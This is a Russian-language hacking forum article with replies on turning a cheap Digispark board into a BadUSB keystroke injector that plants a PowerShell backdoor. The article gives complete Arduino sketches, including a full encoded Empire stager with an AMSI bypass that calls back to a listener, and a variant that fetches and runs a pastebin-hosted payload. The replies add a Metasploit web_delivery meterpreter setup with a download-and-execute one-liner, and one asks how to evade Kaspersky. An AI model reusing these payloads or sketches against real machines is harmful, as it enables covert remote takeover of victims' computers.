Статья Digispark - badusb за 1$

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

IMG_20170826_153239.jpg


Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
  1. 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
  2. Небольшую документацию:
О том, как настроить окружение можно прочитать здесь:

Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.

Генерация пейлоада

Генерировать буду с помощью Empire.
Код:
sudo ./empire
listeners
uselistener http
Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab

_ _ _ 2017-08-31 22-38-26.png


Устанавливаем имя, порт, и запускаем листенер.

_ _ _ 2017-08-31 22-38-44.png


Получаем наш powershell-payload
launcher powershell Digi

_ _ _ 2017-08-31 22-39-49.png


Пишем код

Вся структура кода выглядит так:
Код:
#include "DigiKeyboard.h" // Импортируем модуль клавиатуры

void setup()
{
  // Одноразовое выполнение кода
}

void loop()
{
  // Циклическое выполнение кода            
}
Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:
Код:
#include "DigiKeyboard.h"
#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell -noP -sta -w 1 -enc  JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);       
}
Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!

_ _ _ 2017-08-31 22-44-21.png


Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.

Обходной путь

В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:

__001.png


Вместо прямого использования нагрузки спарсим его:
Код:
#include "DigiKeyboard.h"

#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'");  // Ссылка на пейлоад на пастбин
  delay(50);
  DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
  delay(50);
  DigiKeyboard.println("powershell.exe -nop -e $result.content");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);              
}
Теперь код занимает только 54% памяти.

_ _ _ 2017-08-31 23-27-06.png


Вонзив этот корявый клинок правосудия в usb-разъём жертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...


Выводы

Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...

Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...
 
В Про версии 16кб, а так же заявлена поддержка "We also provide libraries for the Pro to emulate a USB Keyboard, Mouse, Joystick, or Generic HID Device" , но минус - разъем микроusb. можно с помощью переходника можно сделать "нормальный usb". Радость эта стоит аж 3 доллара.

а можно ссылочку на данное чудо ? )
 
Power shell палит злой Каспер,и обфускация не помогает.Кто знает как обойти этого Каспара?
 
Если кто столкнулся с ней в первый раз:

в arduino ide идете в файл => настройки в поле " Дополнительные ссылки для Менеджера плат:" пишете следующее



После чего: Инструменты => Плата => Менеджер плат.. там ищете " Digistump AVR boards by Digistump " устанавливаете ее.


Затем выбираете свою плату Digispark в менеджере плат.


Она грузится не как простое Arduino.


Вы пишете скетч, нажимаете загрузить и в нижней окне IDE появляется надпись:

Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)

У вас есть минута чтобы подключить устройство к USB, дальше последует прошивка.

я столкнулся с такой ошибкой( у меня Ubuntu) : Abort mission! -1 error has occurred …” error during upload.“micronucleus: library/micronucleus_lib.c:63: micronucleus_connect: Assertion `res >= 4' failed.

как подсказал Dr.Lafa решение находится

Для ленивых:
Bash:
sudo nano /etc/udev/rules.d/49-micronucleus.rules
У меня не было данного файла.
и в него копируем следующее:
# UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules (preferred location)
# or
# /lib/udev/rules.d/49-micronucleus.rules (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups.
 
  • Нравится
Реакции: Dr.Lafa
а как называется "ветка" в метасплойте для таких целей, чтобы после exploit выдавал текст который нужно вбить в cmd атакуемого. а то я только web_delivery знаю.
 
Всем привет! Вопрос к ТС и кто в теме: при работе на 10 Win системе, с запущенными защитником всеп ошло хорошо, кроме ошибки от PowerShell - ошибка говорила: вы пытаетесь использовать закодированную строчку, однако она не закодена нужным образом. Как решить такую проблему?
 
Всем привет! Вопрос к ТС и кто в теме: при работе на 10 Win системе, с запущенными защитником всеп ошло хорошо, кроме ошибки от PowerShell - ошибка говорила: вы пытаетесь использовать закодированную строчку, однако она не закодена нужным образом. Как решить такую проблему?
Возможно что-то с неправильно написал. Кинь скрин с ошибкой
 
Дааа, Metasploit web-delivery отлично вмещается в Digispark! В моём случае это заняло 56% памяти.
Так что же нужно:
1. Сделать пейлоад
Код:
msfconsole

use exploit/multi/script/web_delivery
use payload windows/x64/meterpreter/reverse_tcp
set srvhost 192.168.0.102 (ip пентестера)
set lhost 192.168.0.102 (ip пентестера)
exploit
Получаем пейлоад вроде такого:
Код:
powershell.exe -nop -w hidden -c $q=new-object net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $q.downloadstring('http://192.168.0.102:8080/I1oPQAzHmpM');



Как у вас получилось использовать такой payload ? В описании написано что совместимые нагрузки:

1524038634448.png
 
  • Нравится
Реакции: HeadShot
Интересная статья! Спасибо!
Где можно описание библиотеки DigiKeyboard.h взять?
 
а какие еще интересные варианты полезной нагрузки из Ваших крупиц собрать можно?)
самое креативное?))
было забавно делать BSOD-флешку. В повершел вводился эксплоит на дос винды.
Более сложный вариант, когда полезная нагрузка большая, а доступа к интернету нет: на обычную флешку скидывать свою малварь, вставлять в компьютер её и диги, которая будет всё активировать.
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!